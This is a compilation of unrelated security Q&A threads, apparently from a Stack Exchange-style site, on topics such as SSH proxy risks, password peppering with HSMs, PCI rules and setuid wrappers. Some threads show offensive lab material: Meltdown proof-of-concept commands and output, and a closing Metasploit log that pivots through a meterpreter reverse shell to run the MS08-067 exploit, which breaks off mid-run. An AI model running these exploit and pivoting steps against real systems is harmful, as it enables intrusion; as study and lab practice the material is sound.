Possible attacks over SSH Let's say there is a target machine T, to which I want to connect. T is in a private network so I need to connect to it via some proxy machine P (which is connected to that network). For this reason I first ssh to P and from there I ssh again to T.

Let's assume P is malicious. How dangerous is can that be for my machine M and what could be possible attack directions? Can P perform some kind of MITM attacks between M and T?

For this reason I first ssh to P and from there I ssh again to T.

If I interpret this correctly you log into P, get a shell and then run ssh from within this shell. If P is compromised you can not trust that you get the expected terminal, not the expected shell and not the expected ssh binary. Everything can be bugged, i.e. all keystrokes (including passwords) you do can be intercepted, all input and output recorded or even modified before sending.


Does the use of a Hardware Security Module improve the security of a password storage? Basic Assumptions

Let us assume I work for a company, which aims to authenticate users using traditional usernames and passwords. The company currently uses a slow key-derivation function to hash passwords, such as Argon2, scrypt or PBKDF2.

It is further assumed that a network HSM can calculate the HMAC of a string with a stored key, but cannot calculate a KDF on its own.

The Idea

One of the developers now had an idea of using a Hardware Security Module to further secure the credentials. He had the idea to use the HMAC of the password as the input for the key derivation function. Since the actual key for the HMAC function is stored inside the HSM and can't be extracted. So here in pseudo-code is once the old login code, and the new login code:

// Old Login Code
function Authenticate(input)
{
    user = DB.getUser(input.username);
    if (user == null) return false; //User does not exist

    kdf = Argon2id;
    return kdf.verify(user.password, input.password);
}

And here is the new login code:

// New Login Code
function Authenticate(input)
{
    user = DB.getUser(input.username);
    if (user == null) return false; //User does not exist

    kdf = Argon2id;

    keyedHash = HSM.getHMAC(input.password, useInternalKey=true);
    return kdf.verify(user.password, keyedHash);
}

My Reasoning

This seems to overall improve the security, because an attacker who is able to steal the database, would also need access to the HSM to attempt to crack the keys. Even if an attacker knows their own password, the key stored inside the HSM is sufficiently long that attempting to brute-force the key would not be feasible.

While an attacker with control over the database might be able to send password candidates to the HSM to get the keyed hashes in return, it will:

severely limit the amount of candidates the attacker can attempt per second
likely cause the network administrators to see unusual network traffic and detect the breach

Possible Downsides

I am aware of "Never Roll Your Own!", and I believe that this is not "my own algorithm".

Furthermore, I understand that, should the HSM ever lose the key, users would now not be able to log in anymore. This problem could be solved with using a backup HSM and storing the key there as well.

My question

Does this scheme make any sense? Does it actually prevent an attacker from being able to recover passwords? Or is it just an excuse for the IT team to spend lots of money to get a shiny new thing?

This is a standard, highly-secure way to combine a slow, salted password hash with a "pepper" (or "secret salt") that ensures, even in the case of complete exposure of your auth database, attackers cannot crack any of the passwords without further compromise. You can do this in software: compute the HMAC with a secret that might be stored in the server process, in an OS-protected area that won't reveal the key to user-mode processes, or in another machine on the network via some form of RPC (in increasing levels of security). The last approach is effectively a software "HSM" and is sometimes used as a cheaper alternative to a true HSM.

It's possible to reverse the order of HMAC and password hash - run the password through your slow salted hash, and then HMAC it and check the result against the value in the DB - but this doesn't work with things like your kdf.verify function. Perhaps more interestingly, with a scheme like this it's also possible to do away with the slow password hash altogether, if you're sufficiently sure the HSM (or whatever you use to compute the HMAC) is secure enough. Compromising either the HSM or the DB still won't provide enough information to crack users' credentials (although the server itself is a single point of failure, of course, since it has access to both and also sees passwords as they are sent by users). However, if the attacker does get access to both, brute-forcing could proceed as fast as the attacker can ask the HSM for HMACs, so (IMO) it's still a good idea to have a slow hash function in there.


Meltdown - PoC - Reading physical address with KASLR disabled does not work Working with this PoC

https://github.com/IAIK/meltdown

Running it:

# ./secret
[+] Secret: Sample text
[+] Virtual address of secret: 0x4af528
[+] Physical address of secret: 0x172bc3528
[+] Exit with Ctrl+C if you are done reading the secret

However reading shows nothing:

$ ./physical_reader 0x172bc3528
[+] Physical address       : 0x172bc3528
[+] Physical offset        : 0xffff880000000000
[+] Reading virtual address: 0xffff880172bc3528

I have KASLR disabled.

 BOOT_IMAGE=/boot/vmlinuz-4.4.0-93-generic root=UUID=6c2b06f8-b8dd-4117-a77e-2425b27fb749 ro quiet splash crashkernel=384M-2G:128M,2G-:256M vt.handoff=7

Reliability test works fine:

# ./reliability
[-] Success rate: 99.40% (read 166 values)

Anybody has an idea why it cannot read the memory address from secret?

Without KASLR, physical offset will remain always 0xffff880000000000, right?

Thanks,

OK figured it out. Based on this:

https://github.com/IAIK/meltdown#frequently-asked-questions

With 4 cores I installed and ran the stress utility:

stress -i 4

And was able to read the memory with my two PoCs I had.

Yes, the physical offset was 0xffff880000000000


Windows System event log warnings for smtpsvc I get a lot of the following type messages:

Message delivery to the remote domain 'particular domain or IP address' failed for the following reason: The remote server did not respond to a connection attempt

I have locked down the smtp server, or at least I think I have - I also don't allow relaying.

What are these messages?  Are they something that need to be handled?  Can I prevent them, if so, how?

Specs:

Windows Server 2003 Enterprise SP2
Windows SMTPSVC

It means that whatever service is connecting to your SMTP server attempted to send an email to a domain it couldn't deliver to. This is fairly normal stuff for an SMTP server, assuming you use it to send messages to users in various domains.

You can turn on logging and see what's failing: http://support.microsoft.com/kb/303738


Does malware that comes through outdated apps go away if I uninstall the apps? I was reading this and this article.
The first article itself is about why software updates are extremely important for security, and the second one also mentions the following:

"Make sure your operating system, browsers, and plugins are always up
to date, because keeping your software patched can keep online
criminals at bay."

I have lots and lots of software that I never update like Adobe Acrobat PDF reader, Amazon kindle and whatnot. I never imagined that the consequences could be so threatening described in the first article I linked.
So a few days back I uninstalled all the old software that I didn't use/want.

Is it possible that malware can enter my PC through this outdated software? What happens when I uninstall the software? Does the malware go away with the uninstallation? We can take spyware as an example. If spyware came into my PC through such outdated software, will it have been removed if I uninstalled the software?

I ran my antivirus scan after I uninstalled the outdated software, and it showed my system is clean. I downloaded some other free anti-malware programs as well like Malwarebytes, HitmanPro, Avast... None of them detected any malware in my system except some PUPs. Is this reasonable to assume that my current antivirus is working perfectly as no malware was found that was able to dodge my current antivirus that couldn't dodge other anti-malware?

Can malware enter my PC through this outdated software?

If the software exposes network services, then most certainly. If not, then the attacker would have to find a way to trigger the outdated software. Like, emailing you an attachment that uses that software.
But entering your PC is just one factor to consider. Escalating access once on your PC is the other very real matter to consider. I can run a process that sends an exploit to this outdated software and gain persistent system access.
Malware doesn't "go away" just because you remove the vulnerable program that might have run it in the first place. Malware is, itself, a program. It would need to be removed.

Is it reasonable to assume that my current antivirus is working
perfectly?

No.
Security has no silver bullet, or perfect solution, and no solution works perfectly 100% of the time. Security is about likelihoods and probabilities and confidence levels. You can be reasonably confident that no simple malware is on your system. A sufficiently complex bit of malware could still be there, but that's not nearly as likely.


Are we under hacker control? We have a Web Server that mount Centos. Onto that WS there is an Apache (version 2.2.3) and some sites.

You can log on only if you have a certificate (for root user) or via ftp (a restricted partition of data for upload contents, but this is not the point) or through apache that have some permission for write onto certains directory.

In recent past we had some trouble with that policy since who can "hack" apache, could delete files onto apache's writable directories. But we didn't get scared since today.

Today we notice that a log file and a log directory, particularly the httpd log's directory and log's files, have undergone a change of permissions (in detail, someone removed the +x perm. to other users. Permissions were 755). Since the owner is root and the group is root, could someone tell me if there is an alternative explaination to "someone stole your certificate" ?

Moreover I know that keep software up to date is the best method for prevent well-known flaws, but in that case I can't image someone that via Apache could do something like that.

Are you saying that your permissions were 755 but are now 754 or 644? Looking at my Apache logs (Ubuntu, don't have CentOS handy), they should be 644. Was Apache restarted?

Regarding possible methods of attack (hypothetically speaking of course) -

Presuming that someone did not steal or successfully fake the certification authentication, a possible theory is that someone stole an FTP login (entirely plausible, through social engineering or sniffing the cleartext protocol somewhere along the FTP connection), and then performed privilege escalation (through a vulnerability in the FTP service, Apache (unlikely: not aware of any at the moment), some other software installed on the system, via the Linux kernel (they do exist but I presume you're well patched on that front, unless someone threw a 0-day your way, again unlikely but possible if you've data that someone really wants) or via your web application depending on how well its coded).
PHP apps are renowned for being insecurely developed and are frequently exploitable.

I'd recommend removing FTP access and replacing it with SFTP (using key authentication).


Are software vulnerabilities limitless? Ok. I believe no one has thought of this perspective, so here goes.

I really don't understand why software need to be constantly patch for security when programmers do a good and complete job in the first place. Computers are programmed straight forwards and won't do why their creator didn't program them to do. Traditional computers aren't intelligent enough to make decisions without inputs. Even if loopholes exists in software, there should be only an upper limit, given that there are limited lines of code in software, is the possible ways of exploiting a piece of software infinite? If not, is there a mathematical formula to calculate the approximate possible exploits relative to amount of code?

My case in point is Windows XP and its predecessors. I believe the former has been in the market for more than 20 years and have its code throughly analysed by its manufacturer and external security vendors. Yet we are told that it could still have security bugs and therefore cease using it because the software creator is not willing to continue supporting it.

Or does patching itself create more security vulnerabilities?

This question includes two parts: why we have so many bugs in the first place and why not all bugs gets detected and solved given enough time.

Why we have software bugs

Writing software takes resources, i.e. time, knowledge of developers and money. There is always a shortage of time (to go to market) and the number and experience of developers. Also, more developers just does not mean that the product gets done faster because more developers means more communication overhead which adds to the complexity.
And there is a shortage of money, because there is the need for the product to have a positive return on investment.

Thus to write more secure software in the first place you should aim for a minimal complexity which you can manage with as few developers as possible. But unfortunately the complex needs of the customers often contradict this goal. On top of this requirements change with the time because the environment where the software gets used changes.

This way even software with a good initial design developed by experienced developers gets more complex over time. And, most software was not even developed with a good initial design by experienced developers but many just started as a prototype which worked good enough initially and then just got extended and extended over time often by different developers (with a limited understanding of the initial design).

And this is just one reason you have bugs. Other reasons are that the software is used in an environment it was never designed for, like software designed for a closed and protected environments now gets connected to the open internet.

Why not all bugs gets found and solved

Security researchers and developers inside and outside of software companies face the same limits: there is only a limited number of time and a limited number of researchers while there is lots of software with potential problems. Thus the security researchers focus on the software which promises the largest return of investment first, i.e. where the most high impact bugs can be found in the shortest time using the specific knowledge and experience of the researcher.

This of course leaves lots of undiscovered bugs because some might need a specific experience, some seems to be not worth to detect or just because there was no time to look into the specific area of the software. And even if a bug gets found it might not be critical enough to invest resources to fix it (some or just that deep in the design that it is too costly) or the software vendor might not exist any more or the software is declared end of life so nobody should use it anyway (even though many do for various reasons).

Can't we just ignore the bugs not found yet?

Finding and exploiting bugs is similar to extraction of natural resources: there are still lots of undiscovered resources out there and there are discovered places where exploitation of these resources is too expensive. But, new knowledge, new techniques or just an increased marked value of specific resources make it attractive to exploit these resources or to look for more hidden resources. In case of bugs this might be some new technique or tool which makes it easy to find new classes of bugs. Or change of use cases make previously impossible attack vectors working, like connecting some software to the internet. Or there might be a valuable target using a specific software which makes it attractive to look for vulnerabilities in this software and exploit these.


How to intercept ntlm authentication based application? There is an internal application which authenticates based on windows credentials (NTLM Authentication). It is not intercepting while in proxy with Burp Suite and is stuck in login pop-up even after providing correct credentials. Upon removing the proxy, the application works fine.

Is there any way by which we can intercept the application?

Thanks in advance

Burp's Platform Authentication settings let you configure Burp to automatically carry out platform authentication to destination web servers. Different authentication types and credentials can be configured for individual hosts.

https://support.portswigger.net/customer/portal/articles/2927576-configuring-ntlm-with-burp-suite


Securely passing critical data to other domain My company owns a domain A.com , and subsdiary is on B.com

B.com redirects their users to A.com for accounts registrations. Post successfull registration , A.com logins that user ( User doesnt get to know this), creates a token and needs to pass that token to B.com so that B.com shows that user logged in.

What should be the correct way to pass this information to B.com as we cannot write cookie for them.

I was thinking of encrypting the token , and A.com and B.com decide the encyption to use.
But are there any other better approaches to deal this issue ?

You can have A.com create a random N-bit token used as a key in a keystore. Then A.com sends to the user a link to B.com containing this token in the clear. The user accesses B.com with that token, and B.com can contact "privately" A.com and retrieve data associated to it, whereupon A.com may invalidate the token so it can't be reused.

Given the short round-trip time (the links are all redirects which should be handled automatically by the user's browser), A.com could be justified in refusing token requests for tokens older than, say, 30 seconds:

user  --> B.com "log me in"
B.com --> user  "Go to A.com/logmein/$RANDOM1" { cookie B.com:RANDOM1 }
user  --> A.com "log me in"
(login procedure)
A.com --> user  "Go to B.com/loggedin/$RANDOM2" [START "A" TIMER]
user  --> B.com "my token is $RANDOM2 (and my cookie is $RANDOM1)"
B.com --> A.com "What about $RANDOM2:$RANDOM1?" [STOP "A" TIMER]

Now A.com has stored $RANDOM1 upon the first request, recognizes $RANDOM2 as of its own making, the timestamp is valid, so on the link A-B can flow all sort of secret information unbeknownst to the user.


Copy protection in SD cards I have created a map for using with GPS devices. The map is copied to a microSD card and then, GPS can read the map data from the card. How can I create copy/clone protection of my data on microSD cards? Because my business depends on it.

I think the OP is after the DRM protection built into SD cards:
http://en.wikipedia.org/wiki/Secure_Digital

Thats why they're called "SD" as in "Secure Digital".

The access to the DRM encoding Equipment for SD cards is limited to those buying a license, so I would suggest you Contact the SD Association for purchasing a license:
http://www.sdcard.org/

This DRM protection can perform a challenge-response type of authentication before allowing access to the content on SD-card, which will be encrypted during transmission. Preferably, your GPS device will contain a "smart card chip" containing keys, and your map SD card will communicate with this chip to create a encrypted channel. Then you could generate symmetric keys using a secret algorithm based on the GPS device's serial number + a secret master key as input. The master key is only stored in your production equipment.

When a customer wants to purchase a map, they will have to specify the GPS device serial number, they will then be sent a SD card tailored for that GPS device.


Is it a good practice to use certificates as a mean of client identification in a cloud environment My software system is running a cloud infrastructure where having Linux machines VPN into OpenVPN gateway is a setup requirement. Also, there may be cases when software on the aforementioned Linux machines may need to access cloud infrastructure when not VPN'ed into the gateway.

During the setup of OpenVPN gateway, I've created a local certificate authority (via easy-rsa) to issue client certificates for OpenVPN to encrypt traffic with and authenticate.

Now I need to generally identify a client machine connecting to my Node.js (or any, for that matter) backend. I wonder if I could use the OVPN issued certificates for this. If the client connecting to a backend can present a certificate, then I know who they are and will serve the required resources.

Is this a good practice to do so? The other way around would be to leave OpenVPN certificates be and just have some other layer of authorization for client machines, but that seems to be a bit of a duplication given I already have a CA and certs on the client side.

It may not be best practice because you're using a specific-purpose CA (in which case, authenticating your OpenVPN clients) for something else, but security-wise, as long as that CA is secure, your solution is fine.

I would recommend however putting the private key of that CA certificate somewhere safe, like a smartcard, a completely offline computer or an HSM.


Can the client certificate authentication process treated as a user digitally signed the content(and then get verified on the server)? The authentication was triggered by certain event (like approving button) on the form. In the process of client certificate authentication (in IIS), user was asked to use their PIN (private key) and after authentication, a certificate information is accessible (through x509). If I place an image of the user signature on the form after authentication, can that be served as a digital signature?

so can the authentication process be treated as signing (on empty content) and verified by the server?

The client authentication in SSL is just that: authentication. It convinces the server that the expected client is indeed on the other end of the line. However, the server obtains no proof that way: there is no data which the server can gather and show to a third party (a judge), which would "obviously" convince the judge that the client was indeed involved in the process and sent the request that the server claims that it received.

The relevant concept is non-repudiation. Ultimately, this is a legal concept. However, that concept, depending on the jurisdiction, will try to use the technical properties of the involved communication protocols as a sturdy (or not) foundation. The client authentication in SSL internally uses a digital signature (as part of the CertificateVerify handshake message) but that signature is computed over random challenge data, but not the application data (HTTP requests and responses) that is sent in the SSL tunnel. Indeed, this signature happens before application data is sent in either direction. Thus, technically, that signature does not provide non-repudiation, since it does not cover the actual data.

In other words, what the server may show to a judge can be a convincing proof that the client did send the alleged request only if the judge assumes that the server applied all needed verifications and is fully honest. However, such a case will be brought to the attention of a judge only in the event of some litigation between the client and the server's owner; as such, it would make little sense to arbitrarily assume that the server is honest (it would make the trial outcome quite biased).

Summary: if you consider the SSL certificate-based client authentication as a "signature", then chances are that the resulting legal value will not hold in court, at least not when the server itself (or its owner) is one of the litigating parties. It may work if you are in a context where it can be somehow proven that the server is completely honest and does not try to frame the user; that's not the usual context when considering digital signatures (usually, digital signatures are requested by the server in order to allow the server to sue the client afterwards).


Is there any way to keep the request in intercepting proxy for atleast a min before application says check your connection? I just bypassed SSL pinning on an android application but the problem is application won't let me play with the request on my intercepting proxy. It says something like problem with your network or check your internet connection, it might be slow. It used to say the same thing before I didn't bypassed SSL pinning.

My assumption is that the application is coded in such a way that it expects to get response from the server quickly. Since am playing around with the request on my intercepting proxy there is no response from the server because the request is still on my proxy and not sent to the server.

Is there any way out of it?

The answer is almost certainly a solid: No.

The length of time that a client is willing to wait until it receives a response from the server is fully configurable by the client.  Either the HTTP library being used by this app has a short time set by default, or the app itself has configured the request to have a short timeout.  For an example, see this documentation for how you would set the maximum wait time for a request with CURL.  If an app has set a maximum timeout of, say, 2 seconds, then there is nothing you can do at the proxy level to make it wait longer.

If you were running the app in an emulator you would have more control (because you could effectively pause it while you did your thing), and if you rooted your phone you may have a way to trick it, but there isn't anything you can do purely at the proxy level.

Your only option will be to figure out how to modify the response quickly, either by pre-setting the response in your proxy, or by some sort of scripting option.

Also, as a general rule of thumb a minute is a long time in the modern network world.  In my experience even 2 seconds is a slow response.  I would expect most clients to have a default timeout measured in seconds, not minutes.  A mobile app that is built for high performance may use an even smaller timeout if the developers know that their API endpoints will return very quickly, and don't want the user to have to deal with a laggy experience.


How can a network admin uniquely identify machines on their network? My network admin might have a record of my default MAC address tied with some mischievous doings as well as my currently used address that they've likely collected after I started accessing using their controlled logins. I initially thought that they would not be able to trace the activities back to me. However, I've recently noticed that only the school's machines can use Ethernet to access the network and that the identification process most likely has nothing to do with MAC addresses, since changing one of the machine's defaults and using one of those on mine produced the same results. Ethernet recognizes the school's machines but not mine.

What other possible ways are there to uniquely identify machines, aside from reading their MAC addresses?

There are several other ways to fingerprint a device, as shown in a recent paper. The general fingerprinting vector is predictable random number generators unique to different wireless cards. This is a rather advanced attack, and most likely not used by your university. More likely, it is your system's hostname which is being recorded. The hostname is broadcasted when negotiating a dynamic IP address using DHCP. Lastly, TCP/IP fingerprinting, while not the same layer as Ethernet, can still be used to identify a connected device.

It is also possible that authentication occurs in another layer, such as IEEE 802.1X, IEEE 802.1A, or even a VPN connection. You should check if your computer is using any of this for authentication.


Ethics & releasing research with no viable solution I've been doing some pretty interesting research that involves abusing a particular technology to carry out malicious behavior.  Normally, upon completion of my research, I'd hand over all of my work before release so that the affected parties could resolve the problems I uncover.  In this case, however, the abusable element is a core aspect of the affected technology and will be extremely difficult (if not impossible) to patch.  I very much want to release and talk about my research, but I'm worried that making the details available beyond myself could result in malicious use of my research.  The technology affected is very widely used and could result in a huge financial loss for parties that make use of it.

How can I release this research and still be ethical?  Should I even do so?  Any advice would be appreciated.

Well there's a couple of aspects to consider here, as has been said there is no clear answer.

On the one hand you've correctly identified the risks of public disclosure with no easy remediation, which is that attackers can take advantage of the issue.

However there are also risks with not publicly releasing.  For example, it's entirely possible that other entities have already discovered and are exploiting the issue you've found. By publishing you would then be leveling the playing field by allowing defenders to come up with work-arounds and mitigations, something they likely can't do without details on the issue.

Also whilst there may be no fix, speaking in general terms there are other mitigations that can be applied to most technical security issues once they are known (e.g. additional monitoring of hosts, blocking of attacking systems) etc.

What you might want to do is, is contact an agency to discuss the issue and see about involving the appropriate industry/technical people to look at co-ordinated disclosure.  If you look at some of the larger impact issues that have come out over the last couple of years, that's generally the best approach.

As to who to contact, one option would be to speak to someone like CERT who are used to co-ordinating disclosure of issues.


Can we print cardholder data under the PCI DSS Compliance framework and stay compliant? I have a question regarding PCI compliance. There seems to be a valid business need in our company to keep some card holder data, for unsuccessful transaction. An example would be a customer makes a hotel booking but the payment fails then a support agent can retry the payment using the card holder data, this forms part of our service. But we do not want to store any cardholder data digitally. In this case we want to print the card holder data for later use and destroy the paper safely within 3 days. There will be no storing digitally of the card data on their systems. Making it more easy for us to comply with the PCI requirements.

Is the above allowed under PCI regulation? I believe you can do that so long as the physical security is in place and only users with a legitimate business need has access. What would be the correct why to do this?

It would only be allowed if you are compliant in other areas.

PCI DSS doesn't just cover digital storage of data, but also the transmission, physical storage and destruction of data.

How does the agent get the card holder data?
How is the data go to your printer?
How and where is the data stored for three days?
How is the data destroyed?


Can malicious Javascript in local HTML -file send files to internet in Firefox/Chrome? Download example.html -file from random website to my computer desktop
Open example.html -file from desktop with Google Chrome
Now Chrome executes javascript from example.html -file that searches through computer files from desktop or documents -directory and sends them to attacker controlled website or server

Can javascript search through my files from desktop and send them to attacker? Is this possible?

If this scenario is possible, then how to block this attack?

Can javascript search through my files from desktop and send them to attacker?

Historically, yes, browsers have treated the file: scheme as one unique origin and the attack you describe would have been feasible.
But today, no, Chrome and Firefox enforce same-origin policies that restrict access between local files. (However, not all browsers do that. Most notably, Microsoft Edge still doesn't restrict read access between local files, as @dandavis has spotted.)
That is, when you open an HTML file at file:///downloads/malicious.html in one of these browsers, a script in that document can not freely search the file system and send home sensitive files. However, the exact way how SOPs on the file: scheme are implemented varies between browsers and it isn't really well documented -  and there doesn't seem to be an established standard for it.
Mozilla has some (potentially outdated) details documented here:

Starting in Gecko 1.9 [Mozilla's browser engine], files are allowed to read only certain other files.  Specifically, a file can read another file only if the parent directory of the originating file is an ancestor directory of the target file. Directories cannot be loaded this way, however.
For example, if you have a file foo.html which accesses another file bar.html and you have navigated to it from the file index.html, the load will succeed only if bar.html is either in the same directory as index.html or in a directory contained within the same directory as index.html.

I couldn't find any relevant documentation for Chrome, but inter-file access seems to be completely locked down. E.g., Chrome didn't let me issue a cross-origin request for a file: URI:

Failed to load file:///tmp/malicious.html: Cross origin requests are only supported for protocol schemes: http, data, chrome, chrome-extension, https.

Even trying to have a file: document access the DOM of an iframe with the same URI failed:

Uncaught DOMException: Blocked a frame with origin "null" from accessing a cross-origin frame.

That said, opening untrusted HTML files locally is still more dangerous than loading them from a website. Although they may not be able to read all local files, they could still employ attacks such as XSSI (cross-site script inclusion) to make other local files potentially leak sensitive information.


Certifying software as secure What security certifications do major banks in the US expect an external software vendor to comply with? The software might form part of their payment processing system.

ISO/IEC 27001 would apply to an organization's ISM practices. Would the adoption of specific Center for Internet Security benchmarks give value addition?

What would be your opinion on O-TTPF which was approved as ISO/IEC 20243:2015? With software products relying on layers of external software components, it's vital for a customer to rely on a trusted chain.

Certification depends on the nature of the software, how it will be used and where it will be used (country, industry, etc...). Without that specific information we can't help you. Third party reporting can be done by several institutions and companies.

ISO27001 is an information security management system, CIS is a company providing services and creating testing guidelines. They are completely different. ISO27001 looks at your organization as a whole, CIS looks at your systems.

My opinion of O-TTPF is that it is useful as it can provide some assurance and thus shift of risk if something goes wrong in your software in the external component.


Repeated security questions after remote key has changed I reinstalled one of my machines and gave it new ssh keys, which should yield warnings when I connect to it from a machine I have connected from earlier.

First I get the big warning that the remote host identifcation has changed, it shows me the correct new ED25519 fingerprint, tells me the line number of the offending key in ~/.ssh/known_hosts and how to remove it with ssh-keygen.

I remove the cached key and connect again.
This time it warns about the key for the IP address, which is also expected.

I type "yes" in response to the question if I'm sure I want to continue connecting, and then I use keyboard-interactive/password authentication, having just remotely created the account and set a password on it.

So, what happens after I type the password and hit enter?

I get the same warnings again, but only slightly messed up with a staircase effect like on old printers, where LF only advanced the paper one row and CR was needed to go to the first column.

Kind of what could happen when messing with the terminal settings when reading a password from a shell script.

This is what it looks like (Notice the proper line breaks and the visible yes prior to password entry) :

Am I using a trojaned ssh? I'm on ubuntu 14.04.2 LTS according to /etc/issue, and the md5sum of the ssh binary is 429980edd6458dff7b113f5f1e162d10 and it is 641664 bytes. Googling for the hash doesn't make me any more enthusiastic.

What should I do now, apart from changing all my passwords everywhere?

Why is it asking me again if I'm sure I want to continue, after supplying a valid password?

The effect you are seeing is due to mismatching terminal settings.

Historically some systems have been using two characters to implement a line-break. First character 13 to move the cursor to the start of the line. Then character 10 to move the cursor down. Others have been using just one character to implement a line-break, that is usually character 10 which would move the cursor to the start of the next line.

When the two are mixed up you may end up with only character 10 being sent to a terminal on which character 10 just moves the cursor down.

One way such a mixup can happen is if two programs try to use the terminal simultaneously. Maybe your ~/.ssh/config file is starting some other program together with your sshcommand.


Is it possible to renew a certificate to allow end users to continue using the existing one, rather than having them implement the new one? My organization has several certificates used for web services that are going to expire soon. We want to have these certificates renewed so that the service to our clients is uninterrupted and doesn't require any action on their part. Is this possible, and if so, what would need to be done (e.g. create a CSR from the existing certificate, etc.)?
Thank you in advance

The expiration of a certificate is included in the certificate itself and not external to the certificate. Changing the expiration thus would require changes to the certificate itself. But a certificate cannot be changed since this would invalidate the signature on the certificate. Because of this there is no way to extend the validity time without creating a new certificate.

  ... service to our clients is uninterrupted and doesn't require any action on their part

With a typical PKI based validation of certificates no changes or action in the clients are needed to handle the new certificates. Even if clients use pinning this is not a problem as long as the client pins to the public key and not the certificate itself and the new certificate uses the same key as the old one.


What are the main reason to deploy Secure Web Gateway? As Gartner defined, Secure Web Gateways utilize URL filtering, advanced threat defense, legacy malware protection and application control technologies to defend users from Internet-borne threats, and to help enterprises enforce Internet policy compliance. SWGs are delivered as on-premises appliances (hardware and virtual) or cloud-based services. Vendors differ greatly in the maturity and features of their cloud-based services, and in their ability to protect enterprises from advanced threats.

Let's assume that I have a Firewall, IPS on my network and Web Application Firewall in front of my Web Applications, Server.

I know that Next Generation Firewall's now provide URL Filtering, Application Control, Antivirus and so on. WAF will secure the back end web server by monitoring every HTTP request and response to and from the server. So, I'm confused on,

What would be the protection that Secure Web Gateway only provides, other appliances don't?

What would be the protection that Secure Web Gateway only provides,
other appliances don't?

In your scenario, the answer is none.
Per Gartner's definition:

Secure Web Gateway
Secure Web gateway solutions protect Web-surfing PCs from infection and enforce company policies. A secure Web gateway is a solution that filters unwanted software/malware from user-initiated Web/Internet traffic and enforces corporate and regulatory policy compliance. These gateways must, at a minimum, include URL filtering, malicious-code detection and filtering, and application controls for popular Web-based applications, such as instant messaging (IM) and Skype. Native or integrated data leak prevention is also increasingly included.

In other words, an SWG is aimed at protecting the clients on your network while browsing the internet, not protecting your network from clients accessing your published web services.
An appliance like FireEye and/or Websense comes to mind.


SecureString how to compare against another SecureString that is safe against Timing Attacks? I see Microsoft provide a SecureString: https://msdn.microsoft.com/en-us/library/system.security.securestring(v=vs.110).aspx, is it possible to compare two SecureStrings and ensure it is safe against Timing Attacks?

I wrote a blog post about this. I came up with two solutions:

Using either Marshal.ReadByte or unsafe pointer code you can loop
over the SecureString, just as in this
answer. However, don't bail early if one of the characters is different; this is not time-safe. Instead, XOR all characters and return the result. If all characters are equal, all XORs will return 0.
Use P/Invoke and the Windows Crypto API to create a hash of the two strings, and compare those normally. Bonus points for using a random secret key to create the hash, so that the attacker can't know the hash that it being compared.

Note that this is all very advanced and protects against unlikely threats while introducing a lot of complexity. For most cases I would avoid SecureStrings.


Set-uid script wrappers, `system(3)` shellshock and Bash Function Import from Environment Given that it is a frequent requirement to allow unprivileged users restricted access to privileged functions: Jobbing sysadmins sometimes provide this in the form of shellscripts, which are then invoked via a setuid wrapper, like so:

int main()
{
   setuid( 0 );
   system( "/path/to/script.sh" );

   return 0;
}

(The evidence for this assertion can be found by searching for setuid script not working on your favourite search engine, or on stack overflow. No, they shouldn't be doing this, but they are. When security advice is too hard, or too obscure, for sysadmins to follow, another solution is needed.)

Note that this may not merely be ignorance. Who would expect that a script containing only this would be dangerous?

#!/bin/bash
kill -HUP $(< /var/run/demonname.pid)

Obviously the intent is to ask demonname to re-read his configuration file. It calls nothing but bash built-ins (so shouldn't use the path), and doesn't consult the environment once. In my opinion, even an experienced sysadmin could be forgiven for thinking that a suidwrapper was OK in this case.

As previously discovered, Shellshock, and (even without it) the Function Import from Environment (FIE) feature of bash, pose privilege escalation vulnerabilities.

Assuming that:

such things exist in your installation, and you don't know they do, and
you can reliably assume new ones will be created...

Would it be advisable to:

dump  bash and use something else forever and ever amen?
patch bash to rip out FIE altogether (the "nuke from orbit" option)?
patch bash to whitelist the full paths of scripts which are allowed to use this feature?
patch system and popen to clear the environment by default if running as root? (People shouldn't be using these functions).
Mail the admin every time someone calls system as root? Or starts a shellscript as root?
or what?

In other words, is FIE used in production for anything other than exploiting systems? If so can we whitelist those uses and forbid it everywhere else? If not can't we just rip the feature out?

Such setuid wrappers are dangerous regardless of whether the script interpreter is a fixed bash, an unfixed bash, or some other shell. Reason being that script interpreters are impacted by many environment variables. Oft-cited offenders are PATH and IFS. This is the reason why sudo resets the whole environment to sane values (since shell authors are invariably creative, you cannot achieve security with just a blacklist on a few "known dangerous" environment variables; you have to kill the whole lot).

To abuse an overused metaphor, FIE is just the tip of the iceberg, not the actual ice block that rips apart the ship's hull. Environment variables are the issue, because they are a covert, indirect channel that propagates through calls, and may impact functionality in lots of ways (e.g. you could change the behaviour of the memory allocation routines by activating the "debug mode" through environment). For setuid binaries, the kernel clears the worst case (LDPRELOAD) but, really, all environment variables ought to be cleared, with the possible exception of the LC_* variables (for setting locale-dependent behaviour -- and even that is highly debatable).

Of course, patching the kernel to clear the environment whenever a setuid binary is invoked is bound to break things... Even OpenBSD, despite their "all your security belongs to us" stance, have shied away from actually implementing such a drastic change. Instead, they rely on documentation:

  Don't trust your environment ! This involves simple things such as your PATH (never use system with an unqualified name, avoid execvp), but also more subtle items such as your locale, timezone, termcap, and so on. Be aware of transitivity: even though you're taking full precautions, programs you call directly won't necessarily. Never use system in privileged programs, build your command line, a controlled environment, and call execve directly. The perlsec man page is a good tutorial on such problems.


Pivoting with Metasploit I am trying to exploit a Windows VM on a different subnet behind a dual home Linux VM where I already have a shell. To keep it simple, I have a meterpreter reverse_tcp shell on the Linux VM (192.168.47.144) and the Windows VM (192.168.128.133) is 2003 and vulnerable to MS08-067 (I tested this directly). Lastly, the Linux VM can definitely hit the SMB service on the Windows VM.

ubuntu:~$ ip -o addr show | grep -o '192.168.47.144' && nc -nvv 192.168.128.133 445
192.168.47.144
Connection to 192.168.128.133 445 port [tcp/*] succeeded!

The meterpreter reverse_tcp shell on the Linux VM connects back on port 5555 so there is not a conflict with port number.

[*] Sending stage (826872 bytes) to 192.168.47.144
[*] Meterpreter session 2 opened (192.168.47.136:5555 -> 192.168.47.144:47395) at 2017-10-08 11:21:30 -0500

msf exploit(handler) > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > route add 192.168.128.0 255.255.255.0 2
[*] Route added
msf exploit(ms08_067_netapi) > route

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.128.0      255.255.255.0      Session 2

[*] There are currently no IPv6 routes defined.
msf exploit(ms08_067_netapi) > set RHOST 192.168.128.133
RHOST => 192.168.128.133
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.47.136:4444
